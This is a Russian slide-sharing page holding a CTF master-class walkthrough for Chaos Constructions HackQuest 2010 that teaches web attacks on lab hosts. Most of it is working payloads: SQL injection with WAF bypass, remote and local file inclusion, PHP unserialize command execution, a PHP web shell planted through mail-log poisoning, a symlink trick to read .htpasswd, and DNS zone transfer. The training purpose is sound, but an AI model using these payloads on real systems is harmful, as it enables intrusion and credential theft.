PHDays CTF 2011 Quals/Afterparty: как это былоPHDays CTF 2011 Quals/Afterparty: как это было
PHDays CTF 2011 Quals/Afterparty: как это было
 
Как взламывают сети государственных учреждений
Как взламывают сети государственных учрежденийКак взламывают сети государственных учреждений
Как взламывают сети государственных учреждений
 
Введение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложенийВведение в тему безопасности веб-приложений
Введение в тему безопасности веб-приложений
 
Практика проведения DDoS-тестирований
Практика проведения DDoS-тестированийПрактика проведения DDoS-тестирований
Практика проведения DDoS-тестирований
 
Мобильный офис глазами пентестера
Мобильный офис глазами пентестераМобильный офис глазами пентестера
Мобильный офис глазами пентестера
 
Безопасность веб-приложений сегодня
Безопасность веб-приложений сегодняБезопасность веб-приложений сегодня
Безопасность веб-приложений сегодня
 
Penetration testing (AS IS)
Penetration testing (AS IS)Penetration testing (AS IS)
Penetration testing (AS IS)
 

Chaos Constructions HackQuest 2010 Full Disclosure (мастер-класс)

  • 1. CHAOS CONSTRUCTIONS HACKQUEST 2010 FULL DISCLOSURE МАСТЕР-КЛАСС
  • 2. ОГЛАВЛЕНИЕ 1 ЗАДАНИЯ МАСТЕР-КЛАССА ........................................................................................3 1.1 П РАКТИЧЕСКОЕ ЗАНЯТИЕ , ЧАСТЬ 1 3 1.2 П РАКТИЧЕСКОЕ ЗАНЯТИЕ . Ч АСТЬ 2 5 1.3 П РАКТИЧЕСКОЕ ЗАНЯТИЕ . Ч АСТЬ 3 7 1.4 Д ОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ 9 1.4.1 С СЫЛКИ НА ДОПОЛНИТЕЛЬНЫЕ МАТЕРИАЛЫ ............................................................................................9 Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 2 из 9
  • 3. 1 Задания мастер-класса 1.1Практическое занятие, часть 1 Действие Описание 1. Обнаружить a. Откройте интерфейс http://192.168.192.2/ уязвимость SQL b. Укажите в качестве значения формы поиска 1'. Injection c. Вы должны увидеть следующее сообщение об ошибке: Query failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'',0)' at line 1 Query: INSERT INTO indexes (text,source) value ('1'',0) 2. Обойти a. В том же интерфейсе укажите в качестве значения формы поиска 1 union select превентивные b. Вы должны увидеть сообщение, свидетельствующее о блокировке запроса защитные превентивным защитным механизмом Mod_Security: механизмы (WAF) Method Not Implemented c. Вернитесь на предыдущую страницу и воспользуйтесь методом обхода правил противодействия атаке «Внедрение операторов SQL» в Mod_Security. Для этого в качестве значения формы поиска укажите: /*!union select*/ /*!12345union select*/ d. Полученное сообщение об ошибке (…syntax to use near 'union select*/)'…) свидетельствует о том, что существует возможность контролировать поступающие к веб-приложению запросы, которые, в свою очередь, используются для генерации SQL-запросов в обход политики безопасности Web Application Firewall. 3. Воспользоваться a. Для получения доступа к системе управления сайта воспользуйтесь техникой уязвимостью SQL проведения атаки Error-based SQL Injection: Injection для 1'/*!%2b(select+1+from(select+count(*),concat((select+user() получения доступа к +from+information_schema.tables+limit+0,1),0x3a,floor(rand(0)*2))x+from+informa системе управления tion_schema.tables+group+by+x)a)%2b*/'1 сайтом. b. Следующий набор запросов поможет Вам достигнуть поставленной цели: 1'/*!, (select+1+from(select+count(*),concat((select+table_name+from+information_schema .tables+where+table_schema!='information_schema'+and+table_schema! ='mysql'+limit+0,1),0x3a,floor(rand(0)*2))x+from+information_schema.tables+group +by+x)a))*/on+duplicate+key+update+a=(' 1'/*!, (select+1+from(select+count(*),concat((select+column_name+from+information_sche ma.columns+where+table_name='admins'+limit+0,1),0x3a,floor(rand(0)*2))x+from+i Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 3 из 9
  • 4. Действие Описание nformation_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=(' 1'/*!, (select+1+from(select+count(*),concat((select+column_name+from+information_sche ma.columns+where+table_name='admins'+limit+1,1),0x3a,floor(rand(0)*2))x+from+i nformation_schema.columns+group+by+x)a))*/on+duplicate+key+update+a=(' 4. Авторизуйтесь в a. Используя полученное имя пользователя на предыдущем этапе и пароль «ihs7rv», системе управления пройдите авторизацию по адресу http://192.168.192.2/panel/. сайтом и b. Уязвимость «Local File Including» содержится в параметре «page» серверного воспользуйтесь сценария «cms_v10.php». Следующий запрос позволит Вам выполнять команды на уязвимостью LFI для сервере: получения «ключа» 192.168.192.2/panel/cms_v10.php?page=http://192.168.192.4/include.txt&cmd=ls c. Воспользуйтесь уязвимостью, чтобы получить содержимое файла KEY в корневой директории веб-сервера. Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 4 из 9
  • 5. 1.2Практическое занятие. Часть 2 Действие Описание Примечание: Для выполнения заданий первой части практического занятия необходимо использовать браузер Mozilla Firefox с установленным дополнением «Tamper Data» (https://addons.mozilla.org/firefox/addon/966). 5. Подобрать d. Откройте интерфейс http://192.168.192.6/. «спрятанные» за e. Убедитесь в отсутствии поступающих в веб-приложение параметров, кроме mod_rewrite параметров в форме авторизации пользователя. поступающие в веб- f. Перейдите на страницу http://192.168.192.4/fuzz/. приложение параметры. g. Ознакомьтесь с примером использования утилиты по указанному адресу. h. Для осуществления перебора поступающих в веб-приложение параметров с IP- адресом 192.168.192.6 используйте следующий запрос: http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=1' i. Чтобы понять смысл такого подхода, попробуйте другие запросы: http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=1 http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=2 http://192.168.192.4/fuzz/?url=http://192.168.192.6/&type=1&length=3&sym=a 6. Воспользоваться a. Откройте интерфейс http://192.168.192.6/. уязвимостью SQL b. Полученные знания на предыдущем этапе позволят обнаружить уязвимость «слепое Injection. внедрение операторов SQL». Выполните следующие запросы для ее обнаружения: /index.php?pag=1'or(1)=(1)/*&login=1&password=1 /index.php?pag=1'or(1)=(2)/*&login=1&password=1 c. Различия в ответах веб-приложения позволяют читать данные из базы данных. Например, следующий запрос является истинным: /index.php?pag=1'+or+mid(version(),1,3)='4.0'/*&login=1&password=1 Это означает, что версия базы данных – 4.0.x. d. Восстановите имя пользователя с использованием данного подхода. Пример: /index.php?pag=1'+or+mid(login,1,1)='b'/*&login=1&password=1 Первая буква имени пользователя – символ «b». Примечание: пароль для учетной записи администратора приложения – «qWeRtY123». 7. Обнаружить a. Пройдите авторизацию на интерфейсе http://192.168.192.6/. уязвимость при b. Скопируйте архив, содержащий резервную копию приложения. вызове функции c. Путем анализа содержимого архива найдите уязвимость при вызове функции unserialize(). unserialize() и уязвимость, связанную с HTTP Parameter Pollution. 8. Воспользоваться a. Откройте интерфейс http://192.168.192.6/. Уязвимость содержится в параметре уязвимостью при cookie[admin_id]. Следующий запрос позволяет выполнить функцию phpinfo(): вызове функции Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 5 из 9
  • 6. Действие Описание unserialize() с целью O:8:"Database":1:{s:8:"shutdown"%3Ba:2: выполнения команд {i:0%3Bs:7:"phpinfo"%3Bi:1%3Bs:2:"-1"%3B}} ОС и для получения «ключа». b. Приведенный ниже запрос аналогичным образом позволит выполнить команду получения списка файлов и каталогов в текущем каталоге веб-сервера: O:8:"Database":1:{s:8:"shutdown"%3Ba:2:{i:0%3Bs:8:"passthru"%3Bi:1%3Bs:8:"ls - la /"%3B}} c. Воспользуйтесь данной уязвимостью для получения содержимого файла «KEY», который расположен в корневой директории сервера. Примечание: попробуйте воспользоваться уязвимостью HTTP Parameter Pollution для получения другого «ключа». Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 6 из 9
  • 7. 1.3Практическое занятие. Часть 3 Действие Описание 1. Осуществить a. Перейдите в командную строку путем использования команды cmd из меню Пуск- перенос DNS-зоны. >Выполнить. b. Введите команду nslookup, после чего выберите DNS-сервер, с которым необходимо взаимодействовать: server 192.168.192.10 c. Для получения всех записей с сервера DNS установите соответствующий параметр: set type=any d. После этого разрешите IP-адрес из обратной DNS-зоны сети 192.168.192.0/24: 10.192.168.192.in-addr.arpa Вы должны увидеть следующий ответ DNS-сервера: Server: [192.168.192.10] Address: 192.168.192.10 10.192.168.192.in-addr.arpa name = ns.cc10.site 192.168.192.in-addr.arpa nameserver = ns.cc10.site ns.cc10.site internet address = 192.168.192.10 e. Теперь вы знаете прямую DNS-зону – это cc10.site. Следующая команда позволит осуществить перенос зоны: ls -d cc10.site f. Для того чтобы браузер смог осуществить разрешение имен сайтов «vasya.cc10.site» и «r00t.cc10.site», расположенных на веб-сервере с IP-адресом 192.168.192.10, необходимо: - либо изменить настройки DNS-сервера на сетевом адаптере, прописав в качестве первичного DNS-сервера IP-адрес 192.168.192.10; - либо прописать соответствующие строки в файл %systemroot%System32drivers etchosts. 2. Обнаружить и a. Перейдите на сайт http://vasya.cc10.site/ и найдите уязвимость Local File Including. воспользоваться Следующая конструкция позволяет получить содержимое файла /etc/passwd: уязвимостью LFI. ../../../../../etc/passwd%00 b. Единственный способ, которым можно воспользоваться для получения возможности выполнения команд на сервере при эксплуатации уязвимости LFI в контексте исследуемого сайта – это использование локального файла электронной почты в качестве контейнера полезной нагрузки. Используя командную строку, осуществите отправку письма пользователю vasya: telnet 192.168.192.10 25 ehlo cc10.site mail from:any@cc10.site Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 7 из 9
  • 8. Действие Описание rcpt to:vasya data <?php passthru($_GET['cmd']);?> . c. После успешной отправки почтового сообщения у Вас появляется возможность выполнения команд ОС: http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=ls -la / 3. Осуществить обход a. Перейдите на сайт http://r00t.cc10.site/. Как Вы можете заметить, сайт требует Basic- ограничений авторизации. Подобная ситуация в контексте хостинг-центра скорее всего связана с SuEXEC для тем, что в корневом каталоге сайта r00t.cc10.site содержится файл .htaccess. получения доступа к b. Для того чтобы получить доступ к содержимому файла .htaccess в корневом каталоге содержимому сайта сайта r00t.cc10.site (/usr/local/www/data/root/), выполните следующие команды: r00t.cc10.site. http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=echo Options +FollowSymLinks > .htaccess http://vasya.cc10.site/index.php?file=/var/mail/vasya%00&cmd=ln -s /usr/local/www/ data/root/.htaccess /usr/local/www/data/vasya/test.txt c. На этом этапе Вы можете реализовать доступ к требуемым данным: http://vasya.cc10.site/test.txt d. Получите доступ к содержимому файла .htpasswd и осуществите авторизацию на сайте http://r00t.cc10.site/. После этого Вы получите доступ к заветному «ключу». Примечание: на сайте r00t.cc10.site используется пароль «password». Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 8 из 9
  • 9. 1.4Дополнительные материалы 1.4.1 Ссылки на дополнительные материалы Дополнительные материалы доступны по следующим ссылкам:  http://www.securitylab.ru/hq2010  http://cc.org.ru/  http://devteev.blogspot.com/2010/08/chaos-constructions-2010_30.html Мастер-класс на основе инфраструктуры «Chaos Constructions HackQuest 2010» Страница 9 из 9